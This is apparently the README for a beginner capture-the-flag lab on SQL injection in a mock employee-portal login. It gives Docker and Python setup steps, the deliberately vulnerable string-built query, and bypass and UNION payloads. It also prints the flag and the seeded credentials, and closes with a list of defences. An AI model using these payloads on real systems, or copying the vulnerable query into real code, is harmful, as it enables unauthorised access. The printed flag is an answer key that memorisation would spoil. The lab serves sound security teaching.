This challenge demonstrates a SQL injection vulnerability in the login form of SecureCorp's employee portal.
Your goal is to bypass authentication and retrieve the admin password (flag) from the database.
This guide provides step-by-step instructions for setting up, running, and exploiting the challenge using either Docker (recommended) or a manual Python setup.
- Category: Web Security
- Difficulty: Easy
- Vulnerability Type: SQL Injection – Authentication Bypass
- Flag Format:
RAZZ{sql1_bYP4sS_MAst3r}
- Docker installed
- Basic familiarity with Docker commands
- For Linux:
sudo
privileges or user added to the Docker group
- Python 3.11+
pip
package manager- Basic familiarity with Python virtual environments
- Windows: Command Prompt, PowerShell, or Windows Terminal
- macOS: Terminal or iTerm2
- Linux: Terminal, GNOME Terminal, or Konsole
cd path/to/your/directory
git clone https://github.com/KerberoSec/Razz_Security_Internship_Assignment.git
cd Razz_Security_Internship_Assignment
ls -la
Expected structure:
├── app.py
├── Dockerfile
├── README.md
├── requirements.txt
└── templates
└── index.html
2 directories, 5 files
With sudo
(if required):
sudo docker build -t sqli-challenge .
Without sudo
:
docker build -t sqli-challenge .
sudo docker run -d -p 5000:5000 --name sqli-challenge sqli-challenge
sudo docker ps
Expected output:
abc123def456 sqli-challenge "python app.py" 5 seconds ago Up 4 seconds 0.0.0.0:5000->5000/tcp sqli-challenge
Open in your browser:
http://localhost:5000
python -m venv venv
Activate environment:
- macOS/Linux:
source venv/bin/activate
- Windows:
venv\Scripts\activate
pip install -r requirements.txt
python app.py
http://localhost:5000
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
Navigate to:
http://localhost:5000
Use payload:
- Username:
admin' --
- Password: anything
Resulting query:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
After logging in as admin, the flag will be displayed:
RAZZ{sql1_bYP4sS_MAst3r}
- Method 1: Always True
Username: admin' OR '1'='1 Password: anything
- Method 2: Union Injection
Username: admin' UNION SELECT 1,password,3 FROM users WHERE username='admin' -- Password: anything
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
is_admin INTEGER DEFAULT 0
1 admin RAZZ{sql1_bYP4sS_MAst3r} 1
2 john_doe password123 0
3 jane_smith securepass 0
- List containers
sudo docker ps
- Stop container
sudo docker stop sqli-challenge
- Start container
sudo docker start sqli-challenge
- Remove container
sudo docker rm sqli-challenge
- Remove image
sudo docker rmi sqli-challenge
- View logs
sudo docker logs sqli-challenge
- Deactivate
deactivate
- Reactivate (Windows)
venv\Scripts\activate
- Reinstall dependencies
pip install --force-reinstall -r requirements.txt
- Port already in use: Use another port or stop the conflicting service
- Docker permission denied: Add user to the Docker group or use
sudo
- Module not found: Ensure venv is activated and run
pip install -r requirements.txt
- Database errors: Check file permissions for the SQLite DB file
- Understand SQL injection in login forms
- Exploit authentication bypass
- Learn input validation & parameterized queries
- Recognize security risks of unsanitized SQL queries
- Always use parameterized queries
- Validate & sanitize user inputs
- Implement proper error handling
- Use least-privilege DB accounts
- Regularly update dependencies
- Deploy a Web Application Firewall (WAF)